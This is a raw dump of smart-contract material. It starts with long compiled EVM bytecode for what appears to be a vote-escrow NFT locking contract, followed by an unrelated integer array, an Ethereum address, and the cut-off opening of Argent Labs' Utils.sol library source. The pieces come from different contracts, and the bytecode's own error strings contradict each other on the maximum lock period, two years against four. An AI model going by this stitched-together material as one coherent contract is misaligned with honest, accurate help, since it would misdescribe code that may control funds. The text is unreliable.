6025780636347486a1461062657600080fd5b806342842e0e14610590578063430c2081146105a3578063461f711c146105b657600080fd5b806313af40351161034657806325a58b561161031557806325a58b56146105275780632e1a7d4d1461052d5780632f745c5914610540578063313ce5671461057657600080fd5b806313af4035146104e657806318160ddd146104f95780631c984bc31461050157806323b872dd1461051457600080fd5b8063081812fc11610382578063081812fc14610435578063095ea7b3146104765780630d6a20331461048b5780631376f3da146104ab57600080fd5b806301ffc9a7146103a9578063047fc9aa146103eb57806306fdde0314610402575b600080fd5b6103d66103b736600461371b565b6001600160e01b03191660009081526015602052604090205460ff1690565b60405190151581526020015b60405180910390f35b6103f460025481565b6040519081526020016103e2565b610428604051806040016040528060078152602001667665415048524160c81b81525081565b6040516103e29190613790565b61045e6104433660046137a3565b6000908152601060205260409020546001600160a01b031690565b6040516001600160a01b0390911681526020016103e2565b6104896104843660046137d1565b6109c2565b005b6103f46104993660046137a3565b600a6020526000908152604090205481565b6104be6104b93660046137fd565b610ad6565b60408051600f95860b81529390940b60208401529282015260608101919091526080016103e2565b6104896104f436600461381f565b610b1d565b6103f4610b9a565b6103f461050f3660046137fd565b610baa565b61048961052236600461383c565b610bdd565b436103f4565b61048961053b3660046137a3565b610c10565b6103f461054e3660046137d1565b6001600160a01b03919091166000908152601260209081526040808320938352929052205490565b61057e601281565b60405160ff90911681526020016103e2565b61048961059e36600461383c565b610ee8565b6103d66105b13660046137d1565b610f25565b6105c96105c43660046137a3565b610f38565b604051600f9190910b81526020016103e2565b600c5461045e906001600160a01b031681565b6104896105fd36600461381f565b610f7b565b610428604051806040016040528060058152602001640312e302e360dc1b81525081565b610428610fb4565b61045e61063c3660046137a3565b6000908152600f60205260409020546001600160a01b031690565b6103f46106653660046137fd565b611042565b6103f46106783660046137a3565b60046020526000908152604090205481565b6103f461069836600461381f565b61108d565b6103f46106ab3660046137a3565b6110ab565b6105c96106be3660046137a3565b600960205260009081526040902054600f0b81565b6104896106e136600461381f565b61110b565b60165460ff166103d6565b6103f46106ff3660046137fd565b6111f5565b60005461045e906001600160a01b031681565b6103d66107253660046137a3565b600b6020526000908152604090205460ff1681565b6103f460055481565b6103f46107513660046137a3565b611201565b6104896107643660046137a3565b6113a3565b6104896107773660046137fd565b6113e7565b61048961078a36600461388b565b61150d565b61048961079d3660046137fd565b6115b4565b6104896117a2565b6107d86107b83660046137a3565b60036020526000908152604090208054600190910154600f9190910b9082565b60408051600f9390930b83526020830191909152016103e2565b610489610800366004613950565b611836565b60015461045e906001600160a01b031681565b6104896108263660046137a3565b611985565b6104896119b4565b6104286108413660046137a3565b6119f4565b6104896108543660046139d0565b611b2f565b6104896108673660046137fd565b611b78565b6104be61087a3660046137a3565b600660205260009081526040902080546001820154600290920154600f82810b93600160801b909304900b919084565b6103f46108b8366004613a19565b611d08565b6103f46108cb3660046137fd565b611d54565b6103f46108de3660046137a3565b60086020526000908152604090205481565b6103f46108fe3660046137a3565b611d60565b6103d6610911366004613a52565b6001600160a01b03918216600090815260146020908152604080832093909416825291909152205460ff1690565b61048961094d3660046137fd565b611d88565b6103f46109603660046137a3565b60009081526003602052604090206001015490565b6104896109833660046137a3565b611e71565b61045e7f000000000000000000000000fd7c8060e57c5c78a582fa0dcd3d549db0a780f681565b6104896109bd3660046137a3565b611ea2565b60165460ff166109ed5760405162461bcd60e51b81526004016109e490613a80565b60405180910390fd5b6000818152600f60205260409020546001600160a01b031680610a0f57600080fd5b806001600160a01b0316836001600160a01b03161415610a2e57600080fd5b6000828152600f60209081526040808320546001600160a01b0385811685526014845282852033808752945291909320549216149060ff168180610a6f5750805b610a7857600080fd5b60008481526010602052604080822080546001600160a01b0319166001600160a01b0389811691821790925591518793918716917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a45050505050565b600760205281600052604060002081633b9aca008110610af557600080fd5b6003020180546001820154600290920154600f82810b9550600160801b90920490910b925084565b610b33336000356001600160e01b031916611ed4565b610b4f5760405162461bcd60e51b81526004016109e490613ab7565b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b6000610ba5426110ab565b905090565b600082815260076020526040812082633b9aca008110610bcc57610bcc613add565b600302016001015490505b92915050565b60165460ff16610bff5760405162461bcd60e51b81526004016109e490613a80565b610c0b83838333611f7d565b505050565b60165460ff16610c325760405162461bcd60e51b81526004016109e490613a80565b601654610100900460ff16600114610c4957600080fd5b6016805461ff001916610200179055610c623382612043565b610c6e57610c6e613af3565b6000818152600a6020526040902054158015610c9957506000818152600b602052604090205460ff16155b610cb55760405162461bcd60e51b81526004016109e490613b09565b60008181526003602090815260409182902082518084019093528054600f0b835260010154908201819052421015610d285760405162461bcd60e51b8152602060048201526016602482015275546865206c6f636b206469646e27742065787069726560501b60448201526064016109e4565b8051604080518082018252600080825260208083018281528783526003909152929020905181546001600160801b0319166001600160801b039091161781559051600190910155600254600f9190910b90610d838282613b41565b6002556040805180820190915260008082526020820152610da790859085906120a9565b60405163a9059cbb60e01b8152336004820152602481018390527f000000000000000000000000fd7c8060e57c5c78a582fa0dcd3d549db0a780f66001600160a01b03169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613b58565b610e4457610e44613af3565b610e4d846126c8565b60408051858152602081018490524281830152905133917f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca94919081900360600190a27f5e2aa66efd74cce82b21852e317e5490d9ecc9e6bb953ae24d90851258cc2f5c81610ebb8482613b41565b6040805192835260208301919091520160405180910390a150506016805461ff0019166101001790555050565b60165460ff16610f0a5760405162461bcd60e51b81526004016109e490613a80565b610c0b83838360405180602001604052806000815250611836565b6000610f318383612043565b9392505050565b6000818152600860209081526040808320546007909252822081633b9aca008110610f6557610f65613add565b6003020154600160801b9004600f0b9392505050565b600c546001600160a01b03163314610f9257600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600d8054610fc190613b75565b80601f0160208091040260200160405190810160405280929190818152602001828054610fed90613b75565b801561103a5780601f1061100f5761010080835404028352916020019161103a565b820191906000526020600020905b81548152906001019060200180831161101d57829003601f168201915b505050505081565b601654600090610100900460ff1660011461105c57600080fd5b6016805461ff001916610200179055611076838333612787565b90506016805461ff00191661010017905592915050565b6001600160a01b038116600090815260116020526040812054610bd7565b600554600081815260066020908152604080832081516080810183528154600f81810b8352600160801b909104900b9381019390935260018101549183019190915260020154606082015290919061110381856128ec565b949350505050565b6000546001600160a01b03163314806111a0575060015460405163b700961360e01b81526001600160a01b039091169063b70096139061115f90339030906001600160e01b03196000351690600401613bb0565b602060405180830381865afa15801561117c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a09190613b58565b6111a957600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b6000610f3183836129ee565b60004382111561121357611213613af3565b60055460006112228483612ccb565b600081815260066020908152604080832081516080810183528154600f81810b8352600160801b909104900b9381019390935260018101549183019190915260020154606082015291925083831015611331576000600681611285866001613bdd565b8152602080820192909252604090810160002081516080810183528154600f81810b8352600160801b909104900b938101939093526001810154918301919091526002015460608083018290528501519192501461132b57826060015181606001516112f19190613b41565b836040015182604001516113059190613b41565b6060850151611314908a613b41565b61131e9190613bf5565b6113289190613c2a565b91505b50611380565b4382606001511461138057606082015161134b9043613b41565b604083015161135a9042613b41565b60608401516113699089613b41565b6113739190613bf5565b61137d9190613c2a565b90505b611399828284604001516113949190613bdd565b6128ec565b9695505050505050565b600c546001600160a01b031633146113ba57600080fd5b6000818152600a60205260409020546113d590600190613b41565b6000918252600a602052604090912055565b601654610100900460ff166001146113fe57600080fd5b6016805461ff0019166102001790556114173383612043565b61142357611423613af3565b60008281526003602090815260409182902082518084019093528054600f0b835260010154908201528115158061145d575060165460ff16155b61146957611469613af3565b60008160000151600f0b1380611482575060165460ff16155b6114c75760405162461bcd60e51b8152602060048201526016602482015275139bc8195e1a5cdd1a5b99c81b1bd8dac8199bdd5b9960521b60448201526064016109e4565b428160200151116114ea5760405162461bcd60e51b81526004016109e490613c3e565b6114f983836000846002612d55565b50506016805461ff00191661010017905550565b60165460ff1661152f5760405162461bcd60e51b81526004016109e490613a80565b6001600160a01b03821633141561154857611548613af3565b3360008181526014602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b601654610100900460ff166001146115cb57600080fd5b6016805461ff0019166102001790556115e43383612043565b6115f0576115f0613af3565b600082815260036020908152604080832081518083019092528054600f0b825260010154918101919091529062093a808061162b8542613bdd565b6116359190613c2a565b61163f9190613bf5565b9050428260200151116116835760405162461bcd60e51b815260206004820152600c60248201526b131bd8dac8195e1c1a5c995960a21b60448201526064016109e4565b60008260000151600f0b136116ce5760405162461bcd60e51b8152602060048201526011602482015270139bdd1a1a5b99c81a5cc81b1bd8dad959607a1b60448201526064016109e4565b816020015181116117215760405162461bcd60e51b815260206004820152601f60248201527f43616e206f6e6c7920696e637265617365206c6f636b206475726174696f6e0060448201526064016109e4565b61172f6303c2670042613bdd565b81111561177e5760405162461bcd60e51b815260206004820152601e60248201527f566f74696e67206c6f636b2063616e2062652034207965617273206d6178000060448201526064016109e4565b61178d84600083856003612d55565b50506016805461ff0019166101001790555050565b6117b8336000356001600160e01b031916611ed4565b6117d45760405162461bcd60e51b81526004016109e490613ab7565b60165460ff16156118275760405162461bcd60e51b815260206004820152601760248201527f756e6c6f636b20616c72656164792068617070656e656400000000000000000060448201526064016109e4565b6016805460ff19166001179055565b60165460ff166118585760405162461bcd60e51b81526004016109e490613a80565b61186484848433611f7d565b823b1561197f57604051630a85bd0160e11b81526001600160a01b0384169063150b7a029061189d903390889087908790600401613c82565b6020604051808303816000875af19250505080156118d8575060408051601f3d908101601f191682019092526118d591810190613cb5565b60015b61197d573d808015611906576040519150601f19603f3d011682016040523d82523d6000602084013e61190b565b606091505b5080516119755760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016109e4565b805181602001fd5b505b50505050565b600c546001600160a01b0316331461199c57600080fd5b6000908152600b60205260409020805460ff19169055565b6119f2600060405180604001604052806000600f0b8152602001600081525060405180604001604052806000600f0b815260200160008152506120a9565b565b6000818152600f60205260409020546060906001600160a01b0316611a5b5760405162461bcd60e51b815260206004820152601b60248201527f517565727920666f72206e6f6e6578697374656e7420746f6b656e000000000060448201526064016109e4565b60008281526003602090815260409182902082518084019093528054600f0b83526001015490820152610f3183611a928142612f5a565b83602001518460000151600f0b600d8054611aac90613b75565b80601f0160208091040260200160405190810160405280929190818152602001828054611ad890613b75565b8015611b255780601f10611afa57610100808354040283529160200191611b25565b820191906000526020600020905b815481529060010190602001808311611b0857829003601f168201915b505050505061302c565b611b45336000356001600160e01b031916611ed4565b611b615760405162461bcd60e51b81526004016109e490613ab7565b8051611b7490600d906020840190613669565b5050565b60165460ff16611b9a5760405162461bcd60e51b81526004016109e490613a80565b6000828152600a6020526040902054158015611bc557506000828152600b602052604090205460ff16155b611be15760405162461bcd60e51b81526004016109e490613b09565b80821415611bee57600080fd5b611bf83383612043565b611c0157600080fd5b611c0b3382612043565b611c1457600080fd5b6000828152600360208181526040808420815180830183528154600f90810b825260019283015482860190815288885295855283872084518086019095528054820b855290920154938301849052805194519095929490910b921115611c7e578260200151611c84565b83602001515b604080518082018252600080825260208083018281528b835260038252848320935184546001600160801b0319166001600160801b0390911617845551600190930192909255825180840190935280835290820152909150611ce990879086906120a9565b611cf2866126c8565b611d00858383866004612d55565b505050505050565b601654600090610100900460ff16600114611d2257600080fd5b6016805461ff001916610200179055611d3c848484612787565b90506016805461ff0019166101001790559392505050565b6000610f318383612f5a565b600081815260046020526040812054431415611d7e57506000919050565b610bd78242612f5a565b601654610100900460ff16600114611d9f57600080fd5b6016805461ff00191661020017905560008281526003602090815260409182902082518084019093528054600f0b8352600101549082015281611de157600080fd5b60008160000151600f0b1380611dfa575060165460ff16155b611e3f5760405162461bcd60e51b8152602060048201526016602482015275139bc8195e1a5cdd1a5b99c81b1bd8dac8199bdd5b9960521b60448201526064016109e4565b42816020015111611e625760405162461bcd60e51b81526004016109e490613c3e565b6114f983836000846000612d55565b600c546001600160a01b03163314611e8857600080fd5b6000818152600a60205260409020546113d5906001613bdd565b600c546001600160a01b03163314611eb957600080fd5b6000908152600b60205260409020805460ff19166001179055565b6001546000906001600160a01b03168015801590611f5e575060405163b700961360e01b81526001600160a01b0382169063b700961390611f1d90879030908890600401613bb0565b602060405180830381865afa158015611f3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5e9190613b58565b8061110357506000546001600160a01b03858116911614949350505050565b6000828152600a6020526040902054158015611fa857506000828152600b602052604090205460ff16155b611fc45760405162461bcd60e51b81526004016109e490613b09565b611fce8183612043565b611fd757600080fd5b611fe18483613166565b611feb84836131cb565b611ff5838361324c565b6000828152600460205260408082204390555183916001600160a01b0380871692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450505050565b6000818152600f602090815260408083205460108352818420546001600160a01b039182168086526014855283862088841680885295529285205492938085149392909116149060ff1682806120965750815b8061209e5750805b979650505050505050565b6040805160808101825260008082526020820181905291810182905260608101919091526040805160808101825260008082526020820181905291810182905260608101919091526005546000908190871561221557428760200151118015612119575060008760000151600f0b135b1561215e57865161212f906303c2670090613cd2565b600f0b602080870191909152870151612149904290613b41565b85602001516121589190613d10565b600f0b85525b428660200151118015612178575060008660000151600f0b135b156121bd57855161218e906303c2670090613cd2565b600f0b6020808601919091528601516121a8904290613b41565b84602001516121b79190613d10565b600f0b84525b602080880151600090815260098252604090205490870151600f9190910b935015612215578660200151866020015114156121fa57829150612215565b602080870151600090815260099091526040902054600f0b91505b60408051608081018252600080825260208201524291810191909152436060820152811561228a575060008181526006602090815260409182902082516080810184528154600f81810b8352600160801b909104900b9281019290925260018101549282019290925260029091015460608201525b6040810151816000428310156122d75760408401516122a99042613b41565b60608501516122b89043613b41565b6122ca90670de0b6b3a7640000613bf5565b6122d49190613c2a565b90505b600062093a806122e78186613c2a565b6122f19190613bf5565b905060005b60ff81101561246c5761230c62093a8083613bdd565b915060004283111561232057429250612334565b50600082815260096020526040902054600f0b5b61233e8684613b41565b876020015161234d9190613d10565b8751889061235c908390613da5565b600f0b905250602087018051829190612376908390613df5565b600f90810b90915288516000910b1215905061239157600087525b60008760200151600f0b12156123a957600060208801525b60408088018490528501519295508592670de0b6b3a7640000906123cd9085613b41565b6123d79086613bf5565b6123e19190613c2a565b85606001516123f09190613bdd565b6060880152612400600189613bdd565b975042831415612416575043606087015261246c565b6000888152600660209081526040918290208951918a01516001600160801b03908116600160801b02921691909117815590880151600182015560608801516002909101555061246581613e44565b90506122f6565b505060058590558b156124f7578860200151886020015161248d9190613da5565b8460200181815161249e9190613df5565b600f0b905250885188516124b29190613da5565b845185906124c1908390613df5565b600f90810b90915260208601516000910b121590506124e257600060208501525b60008460000151600f0b12156124f757600084525b6000858152600660209081526040918290208651918701516001600160801b03908116600160801b02921691909117815590850151600182015560608501516002909101558b156126ba57428b6020015111156125af57602089015161255d9088613df5565b96508a602001518a60200151141561258157602088015161257e9088613da5565b96505b60208b810151600090815260099091526040902080546001600160801b0319166001600160801b0389161790555b428a60200151111561260a578a602001518a60200151111561260a5760208801516125da9087613da5565b60208b810151600090815260099091526040902080546001600160801b0319166001600160801b03831617905595505b60008c815260086020526040812054612624906001613bdd565b905080600860008f815260200190815260200160002081905550428960400181815250504389606001818152505088600760008f815260200190815260200160002082633b9aca00811061267a5761267a613add565b825160208401516001600160801b03908116600160801b029116176003919091029190910190815560408201516001820155606090910151600290910155505b505050505050505050505050565b6126d23382612043565b61271e5760405162461bcd60e51b815260206004820181905260248201527f63616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656460448201526064016109e4565b6000818152600f60205260408120546001600160a01b03169061274190836109c2565b61274b33836131cb565b60405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60008062093a80806127998642613bdd565b6127a39190613c2a565b6127ad9190613bf5565b905060008511806127c1575060165460ff16155b6127ca57600080fd5b4281116128285760405162461bcd60e51b815260206004820152602660248201527f43616e206f6e6c79206c6f636b20756e74696c2074696d6520696e207468652060448201526566757475726560d01b60648201526084016109e4565b6128366303c2670042613bdd565b8111156128855760405162461bcd60e51b815260206004820152601e60248201527f566f74696e67206c6f636b2063616e2062652032207965617273206d6178000060448201526064016109e4565b600e6000815461289490613e44565b90915550600e546128a584826132e2565b5060008181526003602090815260409182902082518084019093528054600f0b8352600190810154918301919091526128e391839189918691612d55565b95945050505050565b600080839050600062093a808083604001516129089190613c2a565b6129129190613bf5565b905060005b60ff8110156129c65761292d62093a8083613bdd565b915060008583111561294157859250612955565b50600082815260096020526040902054600f0b5b60408401516129649084613b41565b84602001516129739190613d10565b84518590612982908390613da5565b600f0b9052508286141561299657506129c6565b80846020018181516129a89190613df5565b600f0b90525050604083018290526129bf81613e44565b9050612917565b5060008260000151600f0b12156129dc57600082525b50516001600160801b03169392505050565b600043821115612a0057612a00613af3565b600083815260086020526040812054815b6080811015612aa457818310612a2657612aa4565b60006002612a348486613bdd565b612a3f906001613bdd565b612a499190613c2a565b6000888152600760205260409020909150869082633b9aca008110612a7057612a70613add565b600302016002015411612a8557809350612a93565b612a90600182613b41565b92505b50612a9d81613e44565b9050612a11565b50600085815260076020526040812083633b9aca008110612ac757612ac7613add565b60408051608081018252600392909202929092018054600f81810b8452600160801b909104900b602083015260018101549282019290925260029091015460608201526005549091506000612b1c8783612ccb565b600081815260066020908152604080832081516080810183528154600f81810b8352600160801b909104900b938101939093526001810154918301919091526002015460608201529192508084841015612bfb576000600681612b80876001613bdd565b8152602080820192909252604090810160002081516080810183528154600f81810b8352600160801b909104900b93810193909352600181015491830191909152600201546060808301829052860151919250612bdd9190613b41565b925083604001518160400151612bf39190613b41565b915050612c1f565b6060830151612c0a9043613b41565b9150826040015142612c1c9190613b41565b90505b60408301518215612c5c578284606001518c612c3b9190613b41565b612c459084613bf5565b612c4f9190613c2a565b612c599082613bdd565b90505b6040870151612c6b9082613b41565b8760200151612c7a9190613d10565b87518890612c89908390613da5565b600f90810b90915288516000910b129050612cb957505093516001600160801b03169650610bd795505050505050565b60009950505050505050505050610bd7565b60008082815b6080811015612d4b57818310612ce657612d4b565b60006002612cf48486613bdd565b612cff906001613bdd565b612d099190613c2a565b6000818152600660205260409020600201549091508710612d2c57809350612d3a565b612d37600182613b41565b92505b50612d4481613e44565b9050612cd1565b5090949350505050565b6002548290612d648682613bdd565b6002556040805180820190915260008082526020820152825160208085015190830152600f0b8152825187908490612d9d908390613df5565b600f0b9052508515612db157602083018690525b6000888152600360209081526040909120845181546001600160801b0319166001600160801b0390911617815590840151600190910155612df38882856120a9565b338715801590612e1557506004856004811115612e1257612e12613e5f565b14155b15612ebf576040516323b872dd60e01b81526001600160a01b038281166004830152306024830152604482018a90527f000000000000000000000000fd7c8060e57c5c78a582fa0dcd3d549db0a780f616906323b872dd906064016020604051808303816000875af1158015612e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612eb39190613b58565b612ebf57612ebf613af3565b8360200151816001600160a01b03167fff04ccafc360e16b67d682d17bd9503c4c6b9a131f6be6325762dc9ffc7de6248b8b8942604051612f039493929190613e75565b60405180910390a37f5e2aa66efd74cce82b21852e317e5490d9ecc9e6bb953ae24d90851258cc2f5c83612f378a82613bdd565b6040805192835260208301919091520160405180910390a1505050505050505050565b60008281526008602052604081205480612f78576000915050610bd7565b600084815260076020526040812082633b9aca008110612f9a57612f9a613add565b60408051608081018252600392909202929092018054600f81810b8452600160801b909104900b602083015260018101549282018390526002015460608201529150612fe69085613eb3565b8160200151612ff59190613d10565b81518290613004908390613da5565b600f90810b90915282516000910b1215905061301f57600081525b51600f0b9150610bd79050565b606060405180610120016040528060fd81526020016141ee60fd913990508061305487613345565b604051602001613065929190613ef2565b60405160208183030381529060405290508061308086613345565b604051602001613091929190613f6e565b6040516020818303038152906040529050806130ac85613345565b6040516020016130bd929190613fee565b6040516020818303038152906040529050806130d884613345565b6040516020016130e992919061406f565b6040516020818303038152906040529050600061313861310888613345565b8461311285613443565b604051602001613124939291906140ca565b604051602081830303815290604052613443565b90508060405160200161314b9190614194565b60405160208183030381529060405291505095945050505050565b6000818152600f60205260409020546001600160a01b0383811691161461318f5761318f613af3565b6000818152601060205260409020546001600160a01b031615611b7457600090815260106020526040902080546001600160a01b031916905550565b6000818152600f60205260409020546001600160a01b038381169116146131f4576131f4613af3565b6000818152600f6020526040902080546001600160a01b031916905561321a82826135a9565b6001600160a01b0382166000908152601160205260408120805460019290613243908490613b41565b90915550505050565b6000818152600f60205260409020546001600160a01b03161561327157613271613af3565b6000818152600f6020908152604080832080546001600160a01b0319166001600160a01b038716908117909155808452601180845282852080546012865284872081885286528487208890558787526013865293862093909355908452909152805460019290613243908490613bdd565b60006001600160a01b0383166132fa576132fa613af3565b613304838361324c565b60405182906001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a450600192915050565b6060816133695750506040805180820190915260018152600360fc1b602082015290565b8160005b8115613393578061337d81613e44565b915061338c9050600a83613c2a565b915061336d565b60008167ffffffffffffffff8111156133ae576133ae6138c4565b6040519080825280601f01601f1916602001820160405280156133d8576020820181803683370190505b5090505b8415611103576133ed600183613b41565b91506133fa600a866141d9565b613405906030613bdd565b60f81b81838151811061341a5761341a613add565b60200101906001600160f81b031916908160001a90535061343c600a86613c2a565b94506133dc565b805160609080613463575050604080516020810190915260008152919050565b60006003613472836002613bdd565b61347c9190613c2a565b613487906004613bf5565b90506000613496826020613bdd565b67ffffffffffffffff8111156134ae576134ae6138c4565b6040519080825280601f01601f1916602001820160405280156134d8576020820181803683370190505b50905060006040518060600160405280604081526020016142eb604091399050600181016020830160005b86811015613564576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101613503565b50600386066001811461357e576002811461358f5761359b565b613d3d60f01b60011983015261359b565b603d60f81b6000198301525b505050918152949350505050565b6001600160a01b0382166000908152601160205260408120546135ce90600190613b41565b6000838152601360205260409020549091508082141561361e576001600160a01b03841660009081526012602090815260408083208584528252808320839055858352601390915281205561197f565b6001600160a01b039390931660009081526012602090815260408083209383529281528282208054868452848420819055835260139091528282209490945592839055908252812055565b82805461367590613b75565b90600052602060002090601f01602090048101928261369757600085556136dd565b82601f106136b057805160ff19168380011785556136dd565b828001600101855582156136dd579182015b828111156136dd5782518255916020019190600101906136c2565b506136e99291506136ed565b5090565b5b808211156136e957600081556001016136ee565b6001600160e01b03198116811461371857600080fd5b50565b60006020828403121561372d57600080fd5b8135610f3181613702565b60005b8381101561375357818101518382015260200161373b565b8381111561197f5750506000910152565b6000815180845261377c816020860160208601613738565b601f01601f19169290920160200192915050565b602081526000610f316020830184613764565b6000602082840312156137b557600080fd5b5035919050565b6001600160a01b038116811461371857600080fd5b600080604083850312156137e457600080fd5b82356137ef816137bc565b946020939093013593505050565b6000806040838503121561381057600080fd5b50508035926020909101359150565b60006020828403121561383157600080fd5b8135610f31816137bc565b60008060006060848603121561385157600080fd5b833561385c816137bc565b9250602084013561386c816137bc565b929592945050506040919091013590565b801515811461371857600080fd5b6000806040838503121561389e57600080fd5b82356138a9816137bc565b915060208301356138b98161387d565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156138f5576138f56138c4565b604051601f8501601f19908116603f0116810190828211818310171561391d5761391d6138c4565b8160405280935085815286868601111561393657600080fd5b858560208301376000602087830101525050509392505050565b6000806000806080858703121561396657600080fd5b8435613971816137bc565b93506020850135613981816137bc565b925060408501359150606085013567ffffffffffffffff8111156139a457600080fd5b8501601f810187136139b557600080fd5b6139c4878235602084016138da565b91505092959194509250565b6000602082840312156139e257600080fd5b813567ffffffffffffffff8111156139f957600080fd5b8201601f81018413613a0a57600080fd5b611103848235602084016138da565b600080600060608486031215613a2e57600080fd5b83359250602084013591506040840135613a47816137bc565b809150509250925092565b60008060408385031215613a6557600080fd5b8235613a70816137bc565b915060208301356138b9816137bc565b60208082526019908201527f636f6e7472616374206d75737420626520756e6c6f636b656400000000000000604082015260600190565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052600160045260246000fd5b602080825260089082015267185d1d1858da195960c21b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015613b5357613b53613b2b565b500390565b600060208284031215613b6a57600080fd5b8151610f318161387d565b600181811c90821680613b8957607f821691505b60208210811415613baa57634e487b7160e01b600052602260045260246000fd5b50919050565b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b60008219821115613bf057613bf0613b2b565b500190565b6000816000190483118215151615613c0f57613c0f613b2b565b500290565b634e487b7160e01b600052601260045260246000fd5b600082613c3957613c39613c14565b500490565b60208082526024908201527f43616e6e6f742061646420746f2065787069726564206c6f636b2e20576974686040820152636472617760e01b606082015260800190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061139990830184613764565b600060208284031215613cc757600080fd5b8151610f3181613702565b600081600f0b83600f0b80613ce957613ce9613c14565b60016001607f1b0319821460001982141615613d0757613d07613b2b565b90059392505050565b600081600f0b83600f0b60016001607f1b03600082136000841383830485118282161615613d4057613d40613b2b565b60016001607f1b03196000851282811687830587121615613d6357613d63613b2b565b60008712925085820587128484161615613d7f57613d7f613b2b565b85850587128184161615613d9557613d95613b2b565b5050509290910295945050505050565b600081600f0b83600f0b600081128160016001607f1b031901831281151615613dd057613dd0613b2b565b8160016001607f1b03018313811615613deb57613deb613b2b565b5090039392505050565b600081600f0b83600f0b600082128260016001607f1b0303821381151615613e1f57613e1f613b2b565b8260016001607f1b0319038212811615613e3b57613e3b613b2b565b50019392505050565b6000600019821415613e5857613e58613b2b565b5060010190565b634e487b7160e01b600052602160045260246000fd5b848152602081018490526080810160058410613ea157634e487b7160e01b600052602160045260246000fd5b60408201939093526060015292915050565b60008083128015600160ff1b850184121615613ed157613ed1613b2b565b6001600160ff1b0384018313811615613eec57613eec613b2b565b50500390565b60008351613f04818460208801613738565b6503a37b5b2b7160d51b9083019081528351613f27816006840160208801613738565b7f3c2f746578743e3c7465787420783d2231302220793d2234302220636c61737360069290910191820152671e913130b9b2911f60c11b6026820152602e01949350505050565b60008351613f80818460208801613738565b6903130b630b731b2a7b3160b51b9083019081528351613fa781600a840160208801613738565b7f3c2f746578743e3c7465787420783d2231302220793d2236302220636c617373600a9290910191820152671e913130b9b2911f60c11b602a820152603201949350505050565b60008351614000818460208801613738565b6a03637b1b5b2b22fb2b732160ad1b908301908152835161402881600b840160208801613738565b7f3c2f746578743e3c7465787420783d2231302220793d2238302220636c617373600b9290910191820152671e913130b9b2911f60c11b602b820152603301949350505050565b60008351614081818460208801613738565b6503b30b63ab2960d51b90830190815283516140a4816006840160208801613738565b6c1e17ba32bc3a1f1e17b9bb339f60991b60069290910191820152601301949350505050565b707b226e616d65223a20224261646765202360781b815283516000906140f7816011850160208901613738565b72111610113232b9b1b934b83a34b7b7111d101160691b601191840191820152845161412a816024840160208901613738565b7f222c2022696d616765223a2022646174613a696d6167652f7376672b786d6c3b602492909101918201526618985cd94d8d0b60ca1b6044820152835161417881604b840160208801613738565b61227d60f01b604b9290910191820152604d0195945050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516141cc81601d850160208701613738565b91909101601d0192915050565b6000826141e8576141e8613c14565b50069056fe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa264697066735822122067c5a9ff4136c7ab55ac4f81e85ab66a538b3e1b8b701bb048164a97fc26971564736f6c634300080b0033
[ 4, 7, 3, 9, 12, 6, 10, 5 ]
0xF2fF3520888F3A0F84BC3338D4a6f28DdA112448
/** *Submitted for verification at Etherscan.io on 2020-11-03 */ pragma experimental ABIEncoderV2; // File: contracts/modules/common/Utils.sol // Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only /** * @title Utils * @notice Common utility methods used by modules. */ library Utils { /** * @notice Helper method to recover the signer at a given position from a list of concatenated signatures. * @param _signedHash The signed hash * @param _signatures The concatenated signatures. * @param _index The index of the signature to recover. */ function 